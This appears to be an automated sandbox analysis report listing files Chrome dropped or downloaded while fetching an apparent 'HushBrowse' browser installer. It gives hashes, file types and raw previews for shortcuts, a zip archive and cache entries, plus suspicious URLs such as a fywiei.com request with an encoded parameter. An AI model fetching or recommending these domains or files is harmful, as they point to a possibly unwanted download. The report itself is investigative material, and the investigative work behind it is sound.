Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........X........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 02:06:46 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.00881803756349
Encrypted:	false
SSDEEP:
MD5:	DE8AEB3AA0C3ABEC5FA01C7D4E104C26
SHA1:	0490386286FD1D801552927E05F5148E0504F13D
SHA-256:	43206DB7B4D3EF57265166E72DB4499FE6D183308244BA5CFC57B96678C80A77
SHA-512:	60AEAC35C71BA3C6BAFBDE3D9F79FD02E1CB7044A688A4CA2C8B5EB8007AA76B7C02A12E6626537C17D40132F333AA75645B23D4F81ED2FD085F1732FB4D1C84
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,........c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........X........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 02:06:46 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9956516496527197
Encrypted:	false
SSDEEP:
MD5:	AD70653001A57666EEFD75D8CFFC6BB1
SHA1:	B76FA567C9D78B97C0D83CAD895D6F77DADCA9E2
SHA-256:	BE321219B9540CCE1EC67FAD9CF856AAC6F3AE905EE362CABBC9F8110C2B1CEF
SHA-512:	A8D14F75330422223C86C04FD4379D1971C9FBAF13F05E38370CBAD141BE7EBC71CAD2F25606C62CF54CD9D566F16464F1E8229053D1A2E27494BF02D6B2DC98
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....%..c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........X........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 02:06:46 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.006871514120741
Encrypted:	false
SSDEEP:
MD5:	F152E216C012CDD174902D6DC21AE47C
SHA1:	C74315EE390EEA63922D233894A7B97F2A7ED71A
SHA-256:	08F25C1DA5C5581F5375386C3D7C991DBA43F890AB3F7FBF76E740E2A9D82AD7
SHA-512:	025A0657011110C2D316C6C2E1CE34C781CD1CCAB7B73C42FF04181B01A52B60B8CA859020A92966193E5A52604EEFFAD822D65D064FF877B5047EE808B7238C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....'...c..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IZ......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VZ......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VZ............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VZ.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........X........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\Unconfirmed 16380.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v4.5 to extract, compression method=store
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	73BB1C3437D9F1DCF40EAFC300E9222F
SHA1:	BBAD4F5B26C7D73B479D0616BE667E41FC69D9BB
SHA-256:	2632787E4B1661CB73E313E8D93E6D8981BB6CAFE6DAADA5D6FFA44D850999AF
SHA-512:	FCFDFB17F5A97157A07C149905DFB6A0F610BFAB135C06298A9094CB08552443A1391B9D91A1A31FD67966F0DB09A3DC0CDF255DB1C4508F97BBA399DD6E43B7
Malicious:	false
Reputation:	unknown
Preview:	PK..-........Y............1...Assets/HUSHBROWSE-Square150x150Logo.scale-125.png.PNG........IHDR..............I.....sRGB.........gAMA......a.....pHYs...%...%.IR$..."!IDATx^..{UU...?..>3.z.Bz.J....P.@:.".w!@ ..EQ.QQG.6.:c.......u.>.....&..>.z...p..u.....E.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J........b..,...2......BJ..FL1...OiYE...O.....ZJUUUd.F..yJMM...r..+......+...R.....fj....-]E......[i....7n..k{.s.rjn.G.5.TP:..d.Rrf.%..Q...y...M..6Qg.2../....eU...`o...N...^~..........7..g..........KT...9.p..^....?D.....^.......J...Rn.T.... .7B!....U.Uq.e.M.6.....3..:w....?M.2...T\QC...la....``S.........1... ;1.3:..=.d*Mo.Ck{6.....h..MTT^K.R.)!%.....\|....:.....K.....to..g/.....`1g...<#...s....g..x'..w......HJ.D..N.....]H..NJ..zf%.N....MH.V...JM.b.K).-KC.,:.\/..p..-YA...39.;....{...=.v.x...n.7.'H...Nd.{.SG.R:u.<m...x.0aJ.%L...n._........r..vz.d...4}f..uLN.t.;"]`.?]...n..V&..cV.=.d......b

C:\Users\user\Downloads\b9332d06-3c24-48f5-9f1d-0f13c48528dc.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v4.5 to extract, compression method=store
Category:	dropped
Size (bytes):	123868897
Entropy (8bit):	7.998561992763214
Encrypted:	true
SSDEEP:
MD5:	73BB1C3437D9F1DCF40EAFC300E9222F
SHA1:	BBAD4F5B26C7D73B479D0616BE667E41FC69D9BB
SHA-256:	2632787E4B1661CB73E313E8D93E6D8981BB6CAFE6DAADA5D6FFA44D850999AF
SHA-512:	FCFDFB17F5A97157A07C149905DFB6A0F610BFAB135C06298A9094CB08552443A1391B9D91A1A31FD67966F0DB09A3DC0CDF255DB1C4508F97BBA399DD6E43B7
Malicious:	false
Reputation:	unknown
Preview:	PK..-........Y............1...Assets/HUSHBROWSE-Square150x150Logo.scale-125.png.PNG........IHDR..............I.....sRGB.........gAMA......a.....pHYs...%...%.IR$..."!IDATx^..{UU...?..>3.z.Bz.J....P.@:.".w!@ ..EQ.QQG.6.:c.......u.>.....&..>.z...p..u.....E.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J........b..,...2......BJ..FL1...OiYE...O.....ZJUUUd.F..yJMM...r..+......+...R.....fj....-]E......[i....7n..k{.s.rjn.G.5.TP:..d.Rrf.%..Q...y...M..6Qg.2../....eU...`o...N...^~..........7..g..........KT...9.p..^....?D.....^.......J...Rn.T.... .7B!....U.Uq.e.M.6.....3..:w....?M.2...T\QC...la....``S.........1... ;1.3:..=.d*Mo.Ck{6.....h..MTT^K.R.)!%.....\|....:.....K.....to..g/.....`1g...<#...s....g..x'..w......HJ.D..N.....]H..NJ..zf%.N....MH.V...JM.b.K).-KC.,:.\/..p..-YA...39.;....{...=.v.x...n.7.'H...Nd.{.SG.R:u.<m...x.0aJ.%L...n._........r..vz.d...4}f..uLN.t.;"]`.?]...n..V&..cV.=.d......b

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	243
Entropy (8bit):	5.072610753876651
Encrypted:	false
SSDEEP:
MD5:	D3E146214023ACF6D74FDA56D679CA4B
SHA1:	D3DF60A8EEDEFF66A55B57576D629091EA8ABA3C
SHA-256:	214C4CE12C419556FE109D67361685396844AD8231A3B0BF5F3010448D22B926
SHA-512:	EB6C02F5E547AD1AD9C90C023DC4B8E126662B040379750236D1D34F57E68BBF51583C7FE1B85C7EC5D606B4B98BBC2E580CEDC5CDA37F175E7BC88761F1CB7C
Malicious:	false
Reputation:	unknown
Preview:	<svg width="18" height="18" viewBox="0 0 18 18" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M14.8158 4.42249L7.02409 12.2142L3.48242 8.67249" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>.</svg>.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 48444, version 1.0
Category:	downloaded
Size (bytes):	48444
Entropy (8bit):	7.995593685409469
Encrypted:	true
SSDEEP:
MD5:	8E433C0592F77BEB6DC527D7B90BE120
SHA1:	D7402416753AE1BB4CBD4B10D33A0C10517838BD
SHA-256:	F052EE44C3728DFD23ABA8A4567150BC314D23903026FBB6AD089422C2DF56AF
SHA-512:	5E90F48B923BB95AEB49691D03DADE8825C119B2FA28977EA170C41548900F4E0165E2869F97C7A9380D7FF8FF331A1DA855500E5F7B0DFD2B9ABD77A386BBF3
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/inter/v18/UcC73FwrK3iLTeHuS_nVMrMxCp50SjIa1ZL7.woff2
Preview:	wOF2.......<.......l..............................`...\..p?HVAR.m?MVAR^.`?STAT.N'&..>/l........>....0....6.$.... ........[..A.2v.6......$..e...w"../.L.p:......Tpc..8@.[5......d#d.xw..o.O3-.....%..>...%..)~p.K.J.H..S...s..z..Wa.. 0\..J.....BL;V..-.L...j....^.9..HO l..,..6.v....?....x.....m..;....a![zif...Ur...Q..P.&.I1..:n.p...j~..h...9.!....@.<.bl\|.Y?h..B.j/..rH.S%/~.^D...6..D.4G...y....Y.....=/o..W..5ryo.d?.gA]..?...1V..S......7ZJ...f....mBG[0eW....y..%B}..]? ...,sR<.y~.~.}.%.!..,X.....`...R..^....S.....u.?k.v.k..U.u..M..`!...b!..X)P...y{.........n..T+6...R......L...x}...g...].g"WT.b..h ....X...=;{w...QO.s..w..@.(,..........{.........1..@...(...\.......9..2.h9P.G........K.Dp...F..4W..ui.u...G...s..x7.?..tg..D..O.sA..t.t.4..~..e\...X.....T..kf.qfX..=^_....g"....De...x[J..A..).G.YUhR.....0.l..#&3.'.K.............$I.Pp.../.s.<@...r=..S......d..P.S.B.w.~X..ZK....h J.`A.bv,=.....>1.Ev.^..U.A. ....EU..].........dw..!$.A`..B.._.....Z~..!..J..l]r.m}m..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (607)
Category:	dropped
Size (bytes):	62012
Entropy (8bit):	5.3308855453734365
Encrypted:	false
SSDEEP:
MD5:	99E54FC5DC8DF56A8CAF484E35C93949
SHA1:	6AEDEF0F1B1D8B6350769433F07FA6EE9F290D73
SHA-256:	9E7A0215F52ACD7A420CCEE95705322EA9AD8CA563E5B641E6838529E433724E
SHA-512:	51A4BB6132412A8E1D17A245810DB8C872BE2F8D7E9B57D0E39704E3DAAF348B63E5E218C4DB755732DED579BE30467FFBC479D651363B60119B97E2E77C9186
Malicious:	false
Reputation:	unknown
Preview:	(function() {.var j=void 0,l=!0,r=null,B=!1;.(function(){function Ua(){function a(){if(!a.Rc)ua=a.Rc=l,va=B,c.a(G,function(a){a.Ec()})}function b(){try{t.documentElement.doScroll("left")}catch(d){setTimeout(b,1);return}a()}if(t.addEventListener)"complete"===t.readyState?a():t.addEventListener("DOMContentLoaded",a,B);else if(t.attachEvent){t.attachEvent("onreadystatechange",a);var d=B;try{d=p.frameElement===r}catch(f){}t.documentElement.doScroll&&d&&b()}c.gc(p,"load",a,l)}function Va(){x.init=function(a,b,d){if(d)return x[d]\|\|(x[d]=G[d]=W(a,.b,d),x[d].ra()),x[d];d=x;if(G.mixpanel)d=G.mixpanel;else if(a)d=W(a,b,"mixpanel"),d.ra(),G.mixpanel=d;x=d;1===ia&&(p.mixpanel=x);Wa()}}function Wa(){c.a(G,function(a,b){"mixpanel"!==b&&(x[b]=a)});x._=c}function ja(a){a=c.g(a)?a:c.e(a)?{}:{days:a};return c.extend({},Xa,a)}function W(a,b,d){var f,g="mixpanel"===d?x:x[d];if(g&&0===ia)f=g;else{if(g&&!c.isArray(g)){o.error("You have already initialized "+d);return}f=new e}f.vb={};f.ba(a,b,d);f.people=new

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 2963
Category:	downloaded
Size (bytes):	1137
Entropy (8bit):	7.837285677909239
Encrypted:	false
SSDEEP:
MD5:	7F318BE20D1554C8D5686EFE251E5A4E
SHA1:	FEE7959DE1A6AA39B99760FB0AD7C3D3535162D3
SHA-256:	3B5E7A96CB860D97A77FF32F5CCA1480B97602C862BA25ADEF34E03CB02FD3AB
SHA-512:	25716A5B8747BAE8B98CFEB85F2AC54F23C9D44696D80A319A4BEFDB538094CDD3A3E634AF1A8E1E4C89A352CB71B5B7030674BBA6AADB68B8B349410DF87684
Malicious:	false
Reputation:	unknown
URL:	http://fywiei.com/f.php?e=44k7tWaUp5q6rFpoE47q7349fnBNa3hDWkFhRGRaK0JZR2FJM2J2RnZ5L0luTkFZRk5nRXF3bHV5SnY3MFo4VmxjUTg1cGpRWHFLSERmYkRodDBZZlpmOWZlMEc2US9wYy9JU1haTUVYYkhqbFB3Zkw5V0pIa0RXdnRmT1pvRHhsSVlneXdhRDVPWE9saE9WRm1HR1NWdElHaUUwN0lNanYrVHVlaTUxNXNxMzlNU1NUdW40RUFlQzBGbE94WFpMSXAvN1Q5Zlp0L2RHZWVXdjU3bWNzeHZsYTZYSkd4MEJJZFBSSWVGSnYwdGRUazdoTjJTcEFBeWZVMCt1ZTlSS003UHlCVFcrL01WdmRsOUtQNmZ1dWJCUHByRndxaU11ZEc4bHNRdVR3a2h5UmQ2YkQ2WjlpTXhBdXpXM3FCSzFRS2Z5SzlzWEs0RVRQakFvbldWNDdiR25hN1dBUFFUdUY2eVRQaHI5ZkU1a3F1ZGQ2OWM5bU5WYjd2dU1tZXhEMHd3VkQ3enQ4NjNOV0hkVkJ1dHpFemRRdFdDVlVhOEtQb1VuSDZ6Y1dWekxySTBmQW5iUG9kcG9BekNpWE91dWdzR3haYzhqSjc1THFLVWVINUg%3D
Preview:	...........V]s.6.}Nf..4.i..6.f3NL:u.&nL...##a0.# ...W..n.}h..!....J.H.Q?b)....G....bF...hJp..E...x...`....6....m.i...2P..U...lI..3...8k...}.s...\..A%(y.%..4....f.Xq...mL.v....WX.F.n7.a.....S....y....0..H..n.Gp......>.Hc.f..$..,.}.(.....p.+..w.t..gK1...5.'K........O.....D.$..m.}ol.....%..B..~.U..xD.....3..@#.,.fd.#8t>.Z.BZ..h@.t.F.d.[S.&..1..'.ss79P..M..]..:.......z1..oLq..'.........y ._y3...h..,.uF.......8...@...........,A.m.>8zP>...SX=.lj.....m..0.;d.....aB.@.I.b.S.K.....l...Od..:..\|.:..U.t..%.fA.k.q.%%2E<.u..'.:n<~b.H.E.4.......[a.."..61..$S.d..2..!J.d,b..I.!...N....Bt.....q.$... ..Jl.zI0..Hb..\x....!...X.@.q.8..h.........N.X...X..\|.@..Y.@.S.W$.3\....#....\|S5.C.".....(.g....a^.*O.OAU.]]..,`q..8...$.<W..\|.......m.....KRP...w......7.k^.kM...c6..b....LE..a..?....Y.qQ.jX\|>........A..%...\|hy[._..c..4.}.......\|...pZ.....EI.5e5..8..W/.jkb.'H{.W......(Ao.Z.H^...o..N..._.G.Q......}.o.....=7T..1.xP.e.....Q....x..~..o.\|./.AN.Rm\|..O.

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5060
Entropy (8bit):	4.843774813790366
Encrypted:	false
SSDEEP:
MD5:	B5EAB7AC77B571385845042F9B48594F
SHA1:	EEF93163E4188F9EB3E0B88011DB13DD480B18E4
SHA-256:	1E354FB4D88E323D4E8FAC552E3A97A532485B3811CC139D1AF76FDD6B4D321A
SHA-512:	A41C09F1A1C24AAFFD9C31C165CAB6AD3F1B7FEB40CDF448195F5C51E8F502D2C8E6E89F1E55D773C4AE4FE6A7A1F38E6D8AFF0D06B14740CAF0A6507940B627
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/fourth/styles/reboot.css
Preview:	*,.::after,.::before {. box-sizing: border-box;. margin: 0;. padding: 0;.}.@media (prefers-reduced-motion: no-preference) {. :root {. scroll-behavior: smooth;. }.}.body {. font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans",. sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";. font-size: 1rem;. font-weight: 400;. line-height: 1.5;. color: #212529;. background-color: #fff;. -webkit-text-size-adjust: 100%;. -webkit-tap-highlight-color: transparent;.}.hr {. margin: 1rem 0;. color: inherit;. background-color: currentColor;. border: 0;. opacity: 0.25;.}.hr:not([size]) {. height: 1px;.}.h1,.h2,.h3,.h4,.h5,.h6 {. font-weight: 500;. line-height: 1.2;.}.h1 {. font-size: calc(1.375rem + 1.5vw);.}.h2 {. font-size: calc(1.325rem + 0.9vw);.}.h3 {. font-size: calc(1.3rem + 0.6vw);.}.h4 {. font-size: calc(1.275rem +

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65317)
Category:	dropped
Size (bytes):	1464905
Entropy (8bit):	4.297877460772809
Encrypted:	false
SSDEEP:
MD5:	F0B7E001E9F8A42F5AC1C1CD612B4A66
SHA1:	9FF3CFB2E15856F9B77BDDA2661876614F46A245
SHA-256:	75CA5D1AB7947E7C19B4914A8EBAF31F5EF8547FEE7FE3C4B49125FA9159FEE4
SHA-512:	C858D96D3611089A1D9EEC8696C29A98D13F2E511A100C525037B9FAEEB5995F33CEA25514E1FB4E750B136FCF3FF979BCA5A950D9C5E1519591787732380BB2
Malicious:	false
Reputation:	unknown
Preview:	/!. Font Awesome Free 6.0.0 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2022 Fonticons, Inc.. */.!function(){"use strict";var C={},c={};try{"undefined"!=typeof window&&(C=window),"undefined"!=typeof document&&(c=document)}catch(C){}var l=(C.navigator\|\|{}).userAgent,z=void 0===l?"":l,a=C,e=c;a.document,e.documentElement&&e.head&&"function"==typeof e.addEventListener&&e.createElement,~z.indexOf("MSIE")\|\|z.indexOf("Trident/");function M(c,C){var l,z=Object.keys(c);return Object.getOwnPropertySymbols&&(l=Object.getOwnPropertySymbols(c),C&&(l=l.filter(function(C){return Object.getOwnPropertyDescriptor(c,C).enumerable})),z.push.apply(z,l)),z}function t(z){for(var C=1;C<arguments.length;C++){var a=null!=arguments[C]?arguments[C]:{};C%2?M(Object(a),!0).forEach(function(C){var c,l;c=z,C=a[l=C],l in c?Object.defineProperty(c,l,{value:C,enumerable:!0,configurable:!0,writable:!

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 396 x 185, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	8730
Entropy (8bit):	7.924683303767218
Encrypted:	false
SSDEEP:
MD5:	C051766E14D74FA91E7FA4D4AE8959CE
SHA1:	5CE2132AC0E9659BD3D707BC77009031C739E307
SHA-256:	B973D0FEE87F2189A09C8B1E83E3D315E04F222F35DF77532546244D8E1579C2
SHA-512:	30FCD7C26AF35FD1DD8447D669184F6B589DC7B0632AD32AB136BB85DA4658E14AB1F20B225E7652CD83D191C50FEDCC9A1CC96647EE1CDCE07B2A983AA5B058
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/assets/step-1.png
Preview:	.PNG........IHDR.............;.......pHYs.................sRGB.........gAMA......a...!.IDATx....\.}......}.23..]2 .. ..C....p......oI\.v.W..y..8U.IU..r....8....0H.0B....4.i....^r..s.;...3=....W..^.....z,.....<....oY.<!...3.,W.`(xl......J......H(.X 0.d$.).B.!9.2.:\|>..a.?..........!..~]].}!..2.y...<....9B0.X...B{p)..B.-J...l.[...A..!.............!....oy..m...?...O...B..l...x.W.........B.1.G.."[.%dz....K.%..r.8^x.D.._.;It_....rOKK.z.z.......\......:@...n.`P...1...q_8....n}.x<..........I.YH.J-<...S....g.!.p($....H@\n.....`....B.....'...Z$.a.......v=.(*..cg.....sI...m.5..Qr.^.........ww...Cj.0.p.@8.....p...J2.<C....F.8......_.W..H.....D.Q..N.nN..UURR">.O..d.htP.cp....i.5....s..N.U.....c....j. ...V\|..#C...H.3....<N...Y.....'......X...&...X-pu..FvB....X..G3...3R80....f.....=..` ...4.0.x...........F....h..m.@2.h.eH\.E...M..........V...D.iY...A......P.K...!u...ES.#n.X.......;.k..]U...'........^oz3."a..A.A5.5..n5..........R.n._..+$50....w.T./b..BL#.....%.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v4.5 to extract, compression method=store
Category:	dropped
Size (bytes):	31717569
Entropy (8bit):	7.902074905153031
Encrypted:	false
SSDEEP:
MD5:	9618AC27CF0E2E0F5A35E7BEEA9CA219
SHA1:	BF4B5B753445EE2D66444F0561B17EF18665FA5F
SHA-256:	B6CFAC8474B3561D0226BADB2E9ED5EB7B09724B7411EF7413272880AB45256E
SHA-512:	9A7027FE797A267E9D702BDAA0B458497F07CF762756DF85B38B6C14AABD2504F8DB55F320AE176F40F898EF172D2D32AA9A35E4671359190A92FB6A4176CD68
Malicious:	false
Reputation:	unknown
Preview:	PK..-........Y............1...Assets/HUSHBROWSE-Square150x150Logo.scale-125.png.PNG........IHDR..............I.....sRGB.........gAMA......a.....pHYs...%...%.IR$..."!IDATx^..{UU...?..>3.z.Bz.J....P.@:.".w!@ ..EQ.QQG.6.:c.......u.>.....&..>.z...p..u.....E.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J.R.T.J........b..,...2......BJ..FL1...OiYE...O.....ZJUUUd.F..yJMM...r..+......+...R.....fj....-]E......[i....7n..k{.s.rjn.G.5.TP:..d.Rrf.%..Q...y...M..6Qg.2../....eU...`o...N...^~..........7..g..........KT...9.p..^....?D.....^.......J...Rn.T.... .7B!....U.Uq.e.M.6.....3..:w....?M.2...T\QC...la....``S.........1... ;1.3:..=.d*Mo.Ck{6.....h..MTT^K.R.)!%.....\|....:.....K.....to..g/.....`1g...<#...s....g..x'..w......HJ.D..N.....]H..NJ..zf%.N....MH.V...JM.b.K).-KC.,:.\/..p..-YA...39.;....{...=.v.x...n.7.'H...Nd.{.SG.R:u.<m...x.0aJ.%L...n._........r..vz.d...4}f..uLN.t.;"]`.?]...n..V&..cV.=.d......b

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, MP4 v2 [ISO 14496-14]
Category:	downloaded
Size (bytes):	343804
Entropy (8bit):	7.951620925061603
Encrypted:	false
SSDEEP:
MD5:	3AFFA14876A8D7FBB483A1D6D9871E57
SHA1:	38CCB7D3E7CEC4D57C4C19A0FEE1D0B278E41A71
SHA-256:	8979454D85FF1F19E82498F0F1E90C956EC44492B7A8000B7F6F5284DFDD893F
SHA-512:	F5D07F627E5D6433C3C9DB476F1150B0B0F41A04901EF581ED6623C13717EB41C9FDD0C83BCA673CBCB19B1E0F2BBB9019BC28E7BDB6433417504D38734DACE3
Malicious:	false
Reputation:	unknown
URL:	https://cint.hushbrowse.online/private-search/assets/download-video-hush-browse.mp4:2f89e7ab92c634:0
